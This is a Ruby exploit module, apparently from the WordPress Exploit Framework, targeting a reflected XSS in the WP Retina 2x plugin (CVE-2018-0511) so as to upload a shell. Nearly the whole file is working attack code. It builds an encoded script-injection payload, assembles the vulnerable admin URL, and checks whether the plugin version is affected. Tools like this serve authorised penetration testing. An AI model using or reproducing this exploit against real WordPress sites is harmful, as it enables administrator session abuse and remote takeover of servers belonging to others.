# frozen_string_literal: true

class Wpxf::Exploit::WpRetina2xReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'WP Retina 2x <= 5.2.0 Reflected XSS Shell Upload',
      author: [
        'Chris Liu', # Dislosure
        'rastating'  # WPXF module
      ],
      references: [
        ['CVE', '2018-0511'],
        ['WPVDB', '9040'],
        ['URL', '	https://jvn.jp/en/jp/JVN30636823/index.html']
      ],
      date: 'Mar 12 2018'
    )
  end

  def check
    check_plugin_version_from_readme('wp-retina-2x', '5.2.2')
  end

  def xss_payload
    url_encode("\"><script>#{xss_ascii_encoded_include_script}</script><!--")
  end

  def vulnerable_url
    normalize_uri(wordpress_url_admin, 'upload.php')
  end

  def url_with_xss
    "#{vulnerable_url}?page=wp-retina-2x&view=#{xss_payload}"
  end
end
